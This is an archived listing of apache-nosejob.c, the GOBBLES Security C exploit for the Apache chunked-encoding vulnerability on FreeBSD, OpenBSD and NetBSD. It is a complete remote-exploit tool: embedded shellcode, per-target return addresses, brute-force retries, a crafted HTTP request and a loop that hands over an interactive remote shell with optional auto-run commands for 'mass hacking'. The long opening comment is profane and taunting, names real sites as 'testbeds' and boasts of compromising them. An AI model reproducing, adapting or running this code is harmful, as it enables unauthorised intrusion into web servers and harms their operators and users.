home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / webserver / apache / apache-nosejob.c < prev    next >
Text File  |  2005-02-12  |  25KB  |  702 lines

  1. /*
  2.  * apache-nosejob.c - Now with FreeBSD & NetBSD targets ;>
  3.  *
  4.  * !! THIS EXPLOIT IS NOW PRIVATE ON BUGTRAQ !!
  5.  *
  6.  * USE BRUTE FORCE ! "AUTOMATED SCRIPT KIDDY" ! USE BRUTE FORCE !
  7.  *
  8.  * YEZ!$#@ YOU CAN EVEN DEFACE BUGTRAQ.ORG! 
  9.  *
  10.  * Your high priced security consultant's plane ticket: $1500
  11.  * Your high priced security consultant's time: $200/hour
  12.  * RealSecure nodes all over your company: $200,000
  13.  * Getting owned by 0day: Priceless
  14.  *  
  15.  * * BEG FOR FAVOR * BEG FOR FAVOR * BEG FOR FAVOR * BEG FOR FAVOR *
  16.  * If somebody could do us a big favor and contact Jennifer Garner and ask
  17.  * her to make a journey to Vegas this summer for Defcon, to hang out with
  18.  * the members of GOBBLES Security who are all huge fans of hers, we would
  19.  * be eternally grateful.  We are 100% serious about this.  We would love 
  20.  * to have a chance to sit down and have a nice conversation with her during
  21.  * the conference -- something little to make our lives feel more complete.
  22.  *
  23.  * Just show her this picture, and she'll understand that we're not some
  24.  * crazy obsessive fanatical lunatics that she would want to avoid. ;-)
  25.  *         http://phrack.org/summercon2002/GOBBLES_show.jpg
  26.  * We even promise to keep our clothes on!
  27.  *
  28.  * Thx to all those GOBBLES antagonizers. Your insults fuel our desire to
  29.  * work harder to gain more fame.
  30.  *
  31.  * This exploit brought to you by a tagteam effort between GOBBLES Security
  32.  * and ISS X-Forces.  ISS supplied the silly mathematical computations and
  33.  * other abstract figures declaring the exploitation of this bug to be 
  34.  * impossible, without factoring in the chance that there might be other
  35.  * conditions present that would allow exploitation.  After the failure of
  36.  * ISS' Santa Claus, GOBBLES Security didn't want to disappoint the kids and
  37.  * the security consultants and have brought forth a brand new shiny toy for
  38.  * all to marvel at.
  39.  *
  40.  * GOBBLES Security Sex Force:  A lot of companies like to let you know
  41.  * their employees have the biggest dicks.  We're firm believers in the 
  42.  * idea that it's not the size of the wave, but rather the motion of the
  43.  * ocean -- we have no choice anyway.
  44.  * 
  45.  * 3APAPAPA said this can't be done on FreeBSD. He probably also thinks
  46.  * qmail can't be exploited remotely. Buzzz! There we go speaking through
  47.  * our asses again.  Anyways we're looking forward to his arguments on why
  48.  * this isn't exploitable on Linux and Solaris.  Lead, follow, or get the 
  49.  * fuck out of the way.
  50.  *
  51.  * Weigh the chances of us lying about the Linux version. Hmm, well so far
  52.  * we've used a "same shit, different smell" approach on *BSD, so you could
  53.  * be forgiven for thinking we have no Linux version. Then bring in the
  54.  * reverse psychology factor of this paragraph that also says we don't have
  55.  * one. But we'd say all of the above to make you believe us. This starts to
  56.  * get really complicated.
  57.  *
  58.  * --- 
  59.  * God knows I'm helpless to speak
  60.  * On my own behalf
  61.  * God is as helpless as me
  62.  * Caught in the negatives
  63.  * We all just do as we please
  64.  * False transmissions
  65.  * I hope God forgives me
  66.  * For my transgressions
  67.  *
  68.  * It's what you want
  69.  * To know no consequences
  70.  * It's what you need
  71.  * To fucking bleed
  72.  * It's all too much
  73.  * ---
  74.  * 
  75.  * Changes:
  76.  * + can do hostname resolution
  77.  * + uses getopt() 
  78.  * + works against freebsd and netbsd now
  79.  * + ability to execute custom commands when shellcode replies -- great for
  80.  *   mass hacking
  81.  * + rand() value bitshifted for more randomness in our progress bar tongues
  82.  * + more targets ;> BUT REMEMBER BRUTE FORCE MODE!!!
  83.  * + [RaFa] complained that the first version didn't let him hack through
  84.  *   proxies.  New shellcode has been added for additional fun.  It's real
  85.  *   funky, monkey, do you trust?  Didn't think so.
  86.  *
  87.  * Fun to know:
  88.  * + Most apache installations don't even log the attack
  89.  * + GOBBLES Security is not playing games anymore.
  90.  * + GOBBLES Security has more active members than w00w00.
  91.  * + w00w00.org is still vulnerable to this exploit.
  92.  * + w00w00 might release another AIM advisory soon about how evil the
  93.  *   whole DMCA thing is.  *yawn*
  94.  * 
  95.  * Fun to do:
  96.  * + Spot the #openbsd operator who can figure out how to use this!
  97.  * + Join #snort and laugh at their inadequacies
  98.  * + Question the effectiveness of Project Honeynet, when they have yet
  99.  *   to discover the exploitation of a single "0day" vulnerability in the
  100.  *   wild.  HURRY UP B0YZ 4ND H4CK Y0UR 0WN H0N3YP0TZ N0W W1TH 4LL Y0UR
  101.  *   0DAY T0 PR0V3 US WR0NG!!@#  Dumb twats.
  102.  *
  103.  * 80% of #openbsd won't be patching Apache because:
  104.  * + "It's not in the default install"
  105.  * + "It's only uid nobody. So what?"
  106.  * + "Our memcpy() implementation is not buggy"
  107.  * + "I couldn't get the exploit to work, so it must not actually be
  108.  *    exploitable.  Stupid GOBBLES wasting my time with nonsense"
  109.  * + jnathan's expert advice to his peers is that "this is not much of
  110.  *   a security issue" -- @stake + w00w00 + snort brain power in action!
  111.  *
  112.  * Testbeds: hotmail.com, 2600.com, w00w00.org, efnet.org, atstake.com,
  113.  *         yahoo.com, project.honeynet.org, pub.seastrom.com
  114.  *
  115.  * !! NOTICE TO CRITICS !! NOTICE TO CRITICS !! NOTICE TO CRITICS !!
  116.  * 
  117.  * If you're using this exploit against a vulnerable machine (that the
  118.  * exploit is supposed to work on, quit mailing us asking why apache-scalp
  119.  * doesn't work against Linux -- dumbasses) and it does not succeed, you
  120.  * will have to play with the r|d|z values and * BRUTEFORCE * BRUTEFORCE * 
  121.  * * BRUTEFORCE * BRUTEFORCE * BRUTEFORCE * BRUTEFORCE * BRUTEFORCE *
  122.  * 
  123.  * We wrote this for ethical purposes only.  There is such a thing as an
  124.  * "ethical hacker" right?
  125.  *
  126.  * This should make penetration testing _very_ easy.  Go out and make some
  127.  * money off this, by exploiting the ignorance of some yahoo who will be
  128.  * easily ./impressed with your ability to use gcc.  No, we won't provide
  129.  * you with precompiled binaries.  Well, at least for *nix. ;-) 
  130.  *
  131.  * * IMPORTANT ANNOUCEMENT * IMPORTANT ANNOUNCEMENT * IMPORTANT ANNOUCEMENT *
  132.  * --- GOBBLES Security is no longer accepting new members.  We're now a 
  133.  *     closed group.  Of course, we'll still share our warez with the 
  134.  *     community at large, but for the time we have enough members.  
  135.  *
  136.  *     Greets to our two newest members:
  137.  *    -[RaFa], Ambassador to the Underworld
  138.  *    -pr0ix, Director of Slander and Misinformation
  139.  *
  140.  * [#!GOBBLES@SECRET_SERVER QUOTES]
  141.  *
  142.  * --- i wont be surprised that when I return tomorrow morning the
  143.  *     internet will have come to a grinding halt with people crying for
  144.  *     medics
  145.  * --- the internet will be over in a couple of months 
  146.  * --- nobody in #openbsd can get it to work... #netbsd people seem to be
  147.  *     managing fine...  
  148.  * --- they dont grasp the concept of the base address... i seriously
  149.  *     thought this was the most kiddie friendly exploit ever released
  150.  * --- even bb could get it working. look at vuln-dev
  151.  * --- we have to try to bump that threatcon up a notch
  152.  * --- what the alldas url now? how many defacements appeared yet?
  153.  * --- we should do a poem entitled "default openbsd" and mention how
  154.  *     it just sits there... inanimate... soon theo will be stripping the
  155.  *     network code so not even gobkltz.c works... as theo's paranoia
  156.  *     increases and he becomes out of sync with the real world, strange
  157.  *     things start to happen with openbsd...  CHANGELOG: "now also safe
  158.  *     from the voices. 6 years without the screaming in the default
  159.  *     install"
  160.  * --- i can port it to windows.. i can make a gui using mfc.. with
  161.  *     a picture of the skull & crossbones 
  162.  * --- Has anyone ever been caught by an IDS? I certainly never have.
  163.  *     This one runs on many machines. It ports to HP-UX.
  164.  * --- strange how mr spitzner didn't know honeynet.org was owned
  165.  * --- an official openbsd mirror is still vulnerable?  dear god they're
  166.  *     out of it!
  167.  * --- I think we're finally famous.
  168.  * --- we're on the front page of securityfocus, and we didn't even have 
  169.  *     to deface them!  too bad the article wasn't titled, "Hi BlueBoar!"
  170.  * --- we need GOBBLES group photos at defcon holding up signs that say
  171.  *     "The Blue Boar Must Die"
  172.  * --- project.honeynet.org is _still_ vulnerable a day after the exploit
  173.  *     was made public?  hahaha!
  174.  * --- exploit scanner?  www.google.com -- search for poweredby.gif + your
  175.  *     *bsd of choice!
  176.  * --- i stopped taking my antipsychotics last night.  say no 2 drugz!
  177.  * --- <GOBBLES> antiNSA -- HACKING IS NOT FOR YOU!!!!!!
  178.  * --- we wonder how much they'll like GeneralCuster.exe 
  179.  * --- wonder if ISS will use our code in their "security assesment" 
  180.  *     audits, or if they'll figure out how to exploit this independantly.
  181.  *     either way they're bound to make a lot of money off us, bastards.
  182.  * --- forget w00giving, this year itz thanksgiving.
  183.  * --- the traffic to netcraft.com/whats will be through the roof for the
  184.  *     next few months!
  185.  * --- every company with a hub has been sold multiple realsensor units
  186.  * --- full disclosure is a necessary evil, so quit your goddamned whining.
  187.  * --- people just assume they know what we mean by "testbed"
  188.  * --- i can't believe that people still disbelieve in the existance of 
  189.  *     hackers... i mean, what is all this bullshit about people being 
  190.  *     shocked that hackers write programs to break into systems so that
  191.  *     they can use those programs to break into systems?  are their minds
  192.  *     that small?
  193.  * --- we're far from done. . .
  194.  *
  195.  */
  196.  
  197. /*
  198.  * apache-scalp.c
  199.  * OPENBSD/X86 APACHE REMOTE EXPLOIT!!!!!!! 
  200.  * 
  201.  * ROBUST, RELIABLE, USER-FRIENDLY MOTHERFUCKING 0DAY WAREZ!
  202.  *
  203.  * BLING! BLING! --- BRUTE FORCE CAPABILITIES --- BLING! BLING!
  204.  * 
  205.  * ". . . and Doug Sniff said it was a hole in Epic."
  206.  *
  207.  * ---
  208.  * Disarm you with a smile
  209.  * And leave you like they left me here
  210.  * To wither in denial
  211.  * The bitterness of one who's left alone
  212.  * ---
  213.  *
  214.  * Remote OpenBSD/Apache exploit for the "chunking" vulnerability. Kudos to
  215.  * the OpenBSD developers (Theo, DugSong, jnathan, *@#!w00w00, ...) and
  216.  * their crappy memcpy implementation that makes this 32-bit impossibility
  217.  * very easy to accomplish. This vulnerability was recently rediscovered by a slew
  218.  * of researchers.
  219.  *
  220.  * The "experts" have already concurred that this bug...
  221.  *      -       Can not be exploited on 32-bit *nix variants
  222.  *      -       Is only exploitable on win32 platforms
  223.  *      -       Is only exploitable on certain 64-bit systems
  224.  *
  225.  * However, contrary to what ISS would have you believe, we have
  226.  * successfully exploited this hole on the following operating systems:
  227.  *
  228.  *      Sun Solaris 6-8 (sparc/x86)
  229.  *      FreeBSD 4.3-4.5 (x86)
  230.  *      OpenBSD 2.6-3.1 (x86)
  231.  *      Linux (GNU) 2.4 (x86)
  232.  *
  233.  * Don't get discouraged too quickly in your own research. It took us close
  234.  * to two months to be able to exploit each of the above operating systems.
  235.  * There is a peculiarity to be found for each operating system that makes the
  236.  * exploitation possible.
  237.  *
  238.  * Don't email us asking for technical help or begging for warez. We are
  239.  * busy working on many other wonderful things, including other remotely
  240.  * exploitable holes in Apache. Perhaps The Great Pr0ix would like to inform
  241.  * the community that those holes don't exist? We wonder who's paying her.
  242.  *
  243.  * This code is an early version from when we first began researching the
  244.  * vulnerability. It should spawn a shell on any unpatched OpenBSD system
  245.  * running the Apache webserver.
  246.  *
  247.  * We appreciate The Blue Boar's effort to allow us to post to his mailing
  248.  * list once again. Because he finally allowed us to post, we now have this
  249.  * very humble offering.
  250.  *
  251.  * This is a very serious vulnerability. After disclosing this exploit, we
  252.  * hope to have gained immense fame and glory.
  253.  *
  254.  * Testbeds: synnergy.net, monkey.org, 9mm.com
  255.  *
  256.  * Abusing the right syscalls, any exploit against OpenBSD == root. Kernel
  257.  * bugs are great. 
  258.  *
  259.  * [#!GOBBLES QUOTES]
  260.  * 
  261.  * --- you just know 28923034839303 admins out there running
  262.  *     OpenBSD/Apache are going "ugh..not exploitable..ill do it after the
  263.  *     weekend"
  264.  * --- "Five years without a remote hole in the default install". default
  265.  *      package = kernel. if theo knew that talkd was exploitable, he'd cry.
  266.  * --- so funny how apache.org claims it's impossible to exploit this.
  267.  * --- how many times were we told, "ANTISEC IS NOT FOR YOU" ?       
  268.  * --- I hope Theo doesn't kill himself                        
  269.  * --- heh, this is a middle finger to all those open source, anti-"m$"
  270.  *     idiots... slashdot hippies...
  271.  * --- they rushed to release this exploit so they could update their ISS
  272.  *     scanner to have a module for this vulnerability, but it doesnt even
  273.  *     work... it's just looking for win32 apache versions
  274.  * --- no one took us seriously when we mentioned this last year. we warned
  275.  *     them that moderation == no pie.
  276.  * --- now try it against synnergy :>                           
  277.  * --- ANOTHER BUG BITE THE DUST... VROOOOM VRRRRRRROOOOOOOOOM
  278.  *
  279.  * xxxx  this thing is a major exploit. do you really wanna publish it?
  280.  * oooo  i'm not afraid of whitehats
  281.  * xxxx  the blackhats will kill you for posting that exploit
  282.  * oooo  blackhats are a myth
  283.  * oooo  so i'm not worried
  284.  * oooo  i've never seen one
  285.  * oooo  i guess it's sort of like having god in your life
  286.  * oooo  i don't believe there's a god
  287.  * oooo  but if i sat down and met him
  288.  * oooo  i wouldn't walk away thinking
  289.  * oooo  "that was one hell of a special effect"
  290.  * oooo  so i suppose there very well could be a blackhat somewhere
  291.  * oooo  but i doubt it... i've seen whitehat-blackhats with their ethics
  292.  *       and deep philosophy...
  293.  *
  294.  * [GOBBLES POSERS/WANNABES]
  295.  *
  296.  * --- #!GOBBLES@EFNET (none of us join here, but we've sniffed it)
  297.  * --- super@GOBBLES.NET (low-level.net)
  298.  *
  299.  * GOBBLES Security
  300.  * GOBBLES@hushmail.com
  301.  * http://www.bugtraq.org
  302.  *
  303.  */
  304.  
  305.  
  306. #include <stdio.h>
  307. #include <stdlib.h>
  308. #include <string.h>
  309. #include <unistd.h>
  310. #include <sys/types.h>
  311. #include <sys/socket.h>
  312. #include <netinet/in.h>
  313. #include <arpa/inet.h>
  314. #include <netdb.h>
  315. #include <sys/time.h>
  316. #include <signal.h>
  317. #ifdef __linux__
  318. #include <getopt.h>
  319. #endif
  320.  
  321.  
  322. #define HOST_PARAM    "apache-nosejob.c"        /* The Host: field */
  323. #define DEFAULT_CMDZ    "uname -a;id;echo 'hehe, now use another bug/backdoor/feature (hi Theo!) to gain instant r00t';\n"
  324. #define RET_ADDR_INC    512
  325.  
  326.  
  327. #define PADSIZE_1    4
  328. #define PADSIZE_2     5
  329. #define PADSIZE_3    7
  330.  
  331.  
  332. #define REP_POPULATOR    24
  333. #define REP_SHELLCODE    24
  334. #define NOPCOUNT    1024
  335.  
  336. #define NOP        0x41
  337. #define PADDING_1    'A'
  338. #define PADDING_2    'B'
  339. #define PADDING_3    'C'
  340.  
  341. #define PUT_STRING(s)    memcpy(p, s, strlen(s)); p += strlen(s);
  342. #define PUT_BYTES(n, b)    memset(p, b, n); p += n;
  343.  
  344. char shellcode[] =
  345.   "\x68\x47\x47\x47\x47\x89\xe3\x31\xc0\x50\x50\x50\x50\xc6\x04\x24"
  346.   "\x04\x53\x50\x50\x31\xd2\x31\xc9\xb1\x80\xc1\xe1\x18\xd1\xea\x31"
  347.   "\xc0\xb0\x85\xcd\x80\x72\x02\x09\xca\xff\x44\x24\x04\x80\x7c\x24"
  348.   "\x04\x20\x75\xe9\x31\xc0\x89\x44\x24\x04\xc6\x44\x24\x04\x20\x89"
  349.   "\x64\x24\x08\x89\x44\x24\x0c\x89\x44\x24\x10\x89\x44\x24\x14\x89"
  350.   "\x54\x24\x18\x8b\x54\x24\x18\x89\x14\x24\x31\xc0\xb0\x5d\xcd\x80"
  351.   "\x31\xc9\xd1\x2c\x24\x73\x27\x31\xc0\x50\x50\x50\x50\xff\x04\x24"
  352.   "\x54\xff\x04\x24\xff\x04\x24\xff\x04\x24\xff\x04\x24\x51\x50\xb0"
  353.   "\x1d\xcd\x80\x58\x58\x58\x58\x58\x3c\x4f\x74\x0b\x58\x58\x41\x80"
  354.   "\xf9\x20\x75\xce\xeb\xbd\x90\x31\xc0\x50\x51\x50\x31\xc0\xb0\x5a"
  355.   "\xcd\x80\xff\x44\x24\x08\x80\x7c\x24\x08\x03\x75\xef\x31\xc0\x50"
  356.   "\xc6\x04\x24\x0b\x80\x34\x24\x01\x68\x42\x4c\x45\x2a\x68\x2a\x47"
  357.   "\x4f\x42\x89\xe3\xb0\x09\x50\x53\xb0\x01\x50\x50\xb0\x04\xcd\x80"
  358.   "\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50"
  359.   "\x53\x89\xe1\x50\x51\x53\x50\xb0\x3b\xcd\x80\xcc";
  360. ;
  361.  
  362. struct {
  363.     char *type;        /* description for newbie penetrator */
  364.     int delta;        /* delta thingie! */
  365.     u_long retaddr;        /* return address */
  366.     int repretaddr;        /* we repeat retaddr thiz many times in the buffer */
  367.     int repzero;        /* and \0'z this many times */
  368. } targets[] = {    // hehe, yes theo, that say OpenBSD here!
  369.     { "FreeBSD 4.5 x86 / Apache/1.3.23 (Unix)",     -150,    0x80f3a00, 6, 36 },
  370.     { "FreeBSD 4.5 x86 / Apache/1.3.23 (Unix)",     -150,    0x80a7975, 6, 36 },
  371.     { "OpenBSD 3.0 x86 / Apache 1.3.20",         -146,    0xcfa00,   6, 36 },
  372.     { "OpenBSD 3.0 x86 / Apache 1.3.22",         -146,    0x8f0aa,   6, 36 },
  373.     { "OpenBSD 3.0 x86 / Apache 1.3.24",         -146,    0x90600,   6, 36 },
  374.     { "OpenBSD 3.0 x86 / Apache 1.3.24 #2",         -146,    0x98a00,   6, 36 },
  375.     { "OpenBSD 3.1 x86 / Apache 1.3.20",         -146,    0x8f2a6,   6, 36 },
  376.     { "OpenBSD 3.1 x86 / Apache 1.3.23",         -146,    0x90600,   6, 36 },
  377.     { "OpenBSD 3.1 x86 / Apache 1.3.24",         -146,    0x9011a,   6, 36 },
  378.     { "OpenBSD 3.1 x86 / Apache 1.3.24 #2",         -146,    0x932ae,   6, 36 },
  379.     { "OpenBSD 3.1 x86 / Apache 1.3.24 PHP 4.2.1", -146,    0x1d7a00,  6, 36 },
  380.     { "NetBSD 1.5.2 x86 / Apache 1.3.12 (Unix)",     -90,    0x80eda00,  5, 42 },
  381.     { "NetBSD 1.5.2 x86 / Apache 1.3.20 (Unix)",      -90,   0x80efa00,  5, 42 },
  382.     { "NetBSD 1.5.2 x86 / Apache 1.3.22 (Unix)",      -90,   0x80efa00,  5, 42 },    
  383.     { "NetBSD 1.5.2 x86 / Apache 1.3.23 (Unix)",     -90,    0x80efa00,  5, 42 }, 
  384.     { "NetBSD 1.5.2 x86 / Apache 1.3.24 (Unix)",     -90,    0x80efa00,  5, 42 },
  385. }, victim;
  386.  
  387.  
  388.  
  389. void usage(void) {
  390.     int i;
  391.  
  392.     printf("GOBBLES Security Labs\t\t\t\t\t- apache-nosejob.c\n\n");
  393.     printf("Usage: ./apache-nosejob <-switches> -h host[:80]\n");
  394.     printf("  -h host[:port]\tHost to penetrate\n");
  395.     printf("  -t #\t\t\tTarget id.\n");
  396.     printf("  Bruteforcing options (all required, unless -o is used!):\n");
  397.     printf("  -o char\t\tDefault values for the following OSes\n");
  398.     printf("  \t\t\t(f)reebsd, (o)penbsd, (n)etbsd\n");
  399.     printf("  -b 0x12345678\t\tBase address used for bruteforce\n");
  400.     printf("  \t\t\tTry 0x80000/obsd, 0x80a0000/fbsd, 0x080e0000/nbsd.\n");
  401.     printf("  -d -nnn\t\tmemcpy() delta between s1 and addr to overwrite\n");
  402.     printf("  \t\t\tTry -146/obsd, -150/fbsd, -90/nbsd.\n");
  403.     printf("  -z #\t\t\tNumbers of time to repeat \\0 in the buffer\n");
  404.     printf("  \t\t\tTry 36 for openbsd/freebsd and 42 for netbsd\n");
  405.     printf("  -r #\t\t\tNumber of times to repeat retadd in the buffer\n");
  406.     printf("  \t\t\tTry 6 for openbsd/freebsd and 5 for netbsd\n");
  407.     printf("  Optional stuff:\n");
  408.     printf("  -w #\t\t\tMaximum number of seconds to wait for shellcode reply\n");
  409.     printf("  -c cmdz\t\tCommands to execute when our shellcode replies\n");
  410.     printf("  \t\t\taka auto0wncmdz\n");
  411.     printf("\nExamples will be published in upcoming apache-scalp-HOWTO.pdf\n");
  412.     printf("\n--- --- - Potential targets list - --- ---- ------- ------------\n");
  413.     printf(" ID / Return addr / Target specification\n");
  414.     for(i = 0; i < sizeof(targets)/sizeof(victim); i++)
  415.         printf("% 3d /  0x%.8lx / %s\n", i, targets[i].retaddr, targets[i].type);
  416.  
  417.     exit(1);
  418. }
  419.  
  420.  
  421. int main(int argc, char *argv[]) {
  422.     char *hostp, *portp, *cmdz = DEFAULT_CMDZ;
  423.     u_char buf[512], *expbuf, *p;
  424.     int i, j, lport, sock;
  425.     int bruteforce, owned, progress, sc_timeout = 5;
  426.     int responses, shown_length = 0;
  427.     struct in_addr ia;
  428.     struct sockaddr_in sin, from;
  429.     struct hostent *he;
  430.  
  431.  
  432.     if(argc < 4)
  433.         usage();
  434.  
  435.     bruteforce = 0;
  436.     memset(&victim, 0, sizeof(victim));
  437.     while((i = getopt(argc, argv, "t:b:d:h:w:c:r:z:o:")) != -1) {
  438.         switch(i) {
  439.             /* required stuff */
  440.             case 'h':
  441.             hostp = strtok(optarg, ":");
  442.             if((portp = strtok(NULL, ":")) == NULL)
  443.                 portp = "80";
  444.             break;
  445.  
  446.             /* predefined targets */
  447.             case 't':
  448.             if(atoi(optarg) >= sizeof(targets)/sizeof(victim)) {
  449.                 printf("Invalid target\n");
  450.                 return -1;
  451.             }
  452.  
  453.             memcpy(&victim, &targets[atoi(optarg)], sizeof(victim));
  454.             break;
  455.  
  456.             /* bruteforce! */
  457.             case 'b':
  458.             bruteforce++;
  459.             victim.type = "Custom target";
  460.             victim.retaddr = strtoul(optarg, NULL, 16);
  461.             printf("Using 0x%lx as the baseadress while bruteforcing..\n", victim.retaddr);
  462.             break;
  463.  
  464.             case 'd':
  465.             victim.delta = atoi(optarg);
  466.             printf("Using %d as delta\n", victim.delta);
  467.             break;
  468.  
  469.             case 'r':
  470.             victim.repretaddr = atoi(optarg);
  471.             printf("Repeating the return address %d times\n", victim.repretaddr);
  472.             break;
  473.  
  474.             case 'z':
  475.             victim.repzero = atoi(optarg);
  476.             printf("Number of zeroes will be %d\n", victim.repzero);
  477.             break;
  478.  
  479.             case 'o':
  480.             bruteforce++;
  481.             switch(*optarg) {
  482.                 case 'f':
  483.                 victim.type = "FreeBSD";
  484.                 victim.retaddr = 0x80a0000;
  485.                 victim.delta = -150;
  486.                 victim.repretaddr = 6;
  487.                 victim.repzero = 36;
  488.                 break;
  489.  
  490.                 case 'o':
  491.                 victim.type = "OpenBSD";
  492.                 victim.retaddr = 0x80000;
  493.                 victim.delta = -146;
  494.                 victim.repretaddr = 6;
  495.                 victim.repzero = 36;
  496.                 break;
  497.  
  498.                 case 'n':
  499.                 victim.type = "NetBSD";
  500.                 victim.retaddr = 0x080e0000;
  501.                 victim.delta = -90;
  502.                 victim.repretaddr = 5;
  503.                 victim.repzero = 42;
  504.                 break;
  505.  
  506.                 default:
  507.                 printf("[-] Better luck next time!\n");
  508.                 break;
  509.             }
  510.             break;
  511.  
  512.             /* optional stuff */
  513.             case 'w':
  514.             sc_timeout = atoi(optarg);
  515.             printf("Waiting maximum %d seconds for replies from shellcode\n", sc_timeout);
  516.             break;
  517.  
  518.             case 'c':
  519.             cmdz = optarg;
  520.             break;
  521.  
  522.             default:
  523.             usage();
  524.             break;
  525.         }
  526.     }
  527.  
  528.     if(!victim.delta || !victim.retaddr || !victim.repretaddr || !victim.repzero) {
  529.         printf("[-] Incomplete target. At least 1 argument is missing (nmap style!!)\n");
  530.         return -1;
  531.     }
  532.  
  533.     printf("[*] Resolving target host.. ");
  534.     fflush(stdout);
  535.     he = gethostbyname(hostp);
  536.     if(he)
  537.         memcpy(&ia.s_addr, he->h_addr, 4);
  538.     else if((ia.s_addr = inet_addr(hostp)) == INADDR_ANY) {
  539.         printf("There'z no %s on this side of the Net!\n", hostp);
  540.         return -1;
  541.     }
  542.  
  543.     printf("%s\n", inet_ntoa(ia));
  544.  
  545.  
  546.     srand(getpid());
  547.     signal(SIGPIPE, SIG_IGN);
  548.     for(owned = 0, progress = 0;;victim.retaddr += RET_ADDR_INC) {
  549.         /* skip invalid return adresses */
  550.         if(memchr(&victim.retaddr, 0x0a, 4) || memchr(&victim.retaddr, 0x0d, 4))
  551.             continue;
  552.  
  553.  
  554.         sock = socket(PF_INET, SOCK_STREAM, 0);
  555.         sin.sin_family = PF_INET;
  556.         sin.sin_addr.s_addr = ia.s_addr;
  557.         sin.sin_port = htons(atoi(portp));
  558.         if(!progress)
  559.             printf("[*] Connecting.. ");
  560.  
  561.         fflush(stdout);
  562.         if(connect(sock, (struct sockaddr *) & sin, sizeof(sin)) != 0) {
  563.             perror("connect()");
  564.             exit(1);
  565.         }
  566.  
  567.         if(!progress)
  568.             printf("connected!\n");
  569.  
  570.  
  571.         p = expbuf = malloc(8192 + ((PADSIZE_3 + NOPCOUNT + 1024) * REP_SHELLCODE)
  572.                     + ((PADSIZE_1 + (victim.repretaddr * 4) + victim.repzero
  573.                     + 1024) * REP_POPULATOR));
  574.  
  575.         PUT_STRING("GET / HTTP/1.1\r\nHost: " HOST_PARAM "\r\n");
  576.  
  577.         for (i = 0; i < REP_SHELLCODE; i++) {
  578.             PUT_STRING("X-");
  579.             PUT_BYTES(PADSIZE_3, PADDING_3);
  580.             PUT_STRING(": ");
  581.             PUT_BYTES(NOPCOUNT, NOP);
  582.             memcpy(p, shellcode, sizeof(shellcode) - 1);
  583.             p += sizeof(shellcode) - 1;
  584.             PUT_STRING("\r\n");
  585.         }
  586.  
  587.         for (i = 0; i < REP_POPULATOR; i++) {
  588.             PUT_STRING("X-");
  589.             PUT_BYTES(PADSIZE_1, PADDING_1);
  590.             PUT_STRING(": ");
  591.             for (j = 0; j < victim.repretaddr; j++) {
  592.                 *p++ = victim.retaddr & 0xff;
  593.                 *p++ = (victim.retaddr >> 8) & 0xff;
  594.                 *p++ = (victim.retaddr >> 16) & 0xff;
  595.                 *p++ = (victim.retaddr >> 24) & 0xff;
  596.             }
  597.  
  598.             PUT_BYTES(victim.repzero, 0);
  599.             PUT_STRING("\r\n");
  600.         }
  601.  
  602.         PUT_STRING("Transfer-Encoding: chunked\r\n");
  603.         snprintf(buf, sizeof(buf) - 1, "\r\n%x\r\n", PADSIZE_2);
  604.         PUT_STRING(buf);
  605.         PUT_BYTES(PADSIZE_2, PADDING_2);
  606.         snprintf(buf, sizeof(buf) - 1, "\r\n%x\r\n", victim.delta);
  607.         PUT_STRING(buf);
  608.         
  609.         if(!shown_length) {
  610.             printf("[*] Exploit output is %u bytes\n", (unsigned int)(p - expbuf));
  611.             shown_length = 1; 
  612.         }
  613.         
  614.         write(sock, expbuf, p - expbuf);
  615.  
  616.         progress++;
  617.         if((progress%70) == 0)
  618.             progress = 1;
  619.  
  620.         if(progress == 1) {
  621.             printf("\r[*] Currently using retaddr 0x%lx", victim.retaddr);
  622.             for(i = 0; i < 40; i ++)
  623.                 printf(" ");
  624.             printf("\n");
  625.             if(bruteforce)
  626.                 putchar(';');
  627.         }
  628.         else
  629.             putchar(((rand()>>8)%2)? 'P': 'p');
  630.  
  631.  
  632.         fflush(stdout);
  633.         responses = 0;
  634.         while (1) {
  635.             fd_set          fds;
  636.             int             n;
  637.             struct timeval  tv;
  638.  
  639.             tv.tv_sec = sc_timeout;
  640.             tv.tv_usec = 0;
  641.  
  642.             FD_ZERO(&fds);
  643.             FD_SET(0, &fds);
  644.             FD_SET(sock, &fds);
  645.     
  646.             memset(buf, 0, sizeof(buf));
  647.             if(select(sock + 1, &fds, NULL, NULL, owned? NULL : &tv) > 0) {
  648.                 if(FD_ISSET(sock, &fds)) {
  649.                     if((n = read(sock, buf, sizeof(buf) - 1)) < 0)
  650.                         break;
  651.  
  652.                     if(n >= 1)
  653.                     {
  654.                         if(!owned)
  655.                         {
  656.                             for(i = 0; i < n; i ++)
  657.                                 if(buf[i] == 'G')
  658.                                     responses ++;
  659.                                 else
  660.                                     responses = 0;
  661.                             if(responses >= 2)
  662.                             {
  663.                                 owned = 1;
  664.                                 write(sock, "O", 1);
  665.                                 write(sock, cmdz, strlen(cmdz));
  666.                                 printf(" it's a TURKEY: type=%s, delta=%d, retaddr=0x%lx, repretaddr=%d, repzero=%d\n", victim.type, victim.delta, victim.retaddr, victim.repretaddr, victim.repzero);
  667.                                 printf("Experts say this isn't exploitable, so nothing will happen now: ");
  668.                                 fflush(stdout);
  669.                             }
  670.                         } else
  671.                               write(1, buf, n);
  672.                       }
  673.                 }
  674.  
  675.                 if(FD_ISSET(0, &fds)) {
  676.                     if((n = read(0, buf, sizeof(buf) - 1)) < 0)
  677.                         exit(1);
  678.  
  679.                     write(sock, buf, n);
  680.                 }
  681.  
  682.             }
  683.  
  684.             if(!owned)
  685.                 break;
  686.         }
  687.  
  688.         free(expbuf);
  689.         close(sock);
  690.  
  691.         if(owned)
  692.             return 0;
  693.  
  694.         if(!bruteforce) {
  695.             fprintf(stderr, "Ooops.. hehehe!\n");
  696.             return -1;
  697.         }
  698.     }
  699.  
  700.     return 0;
  701. }
  702.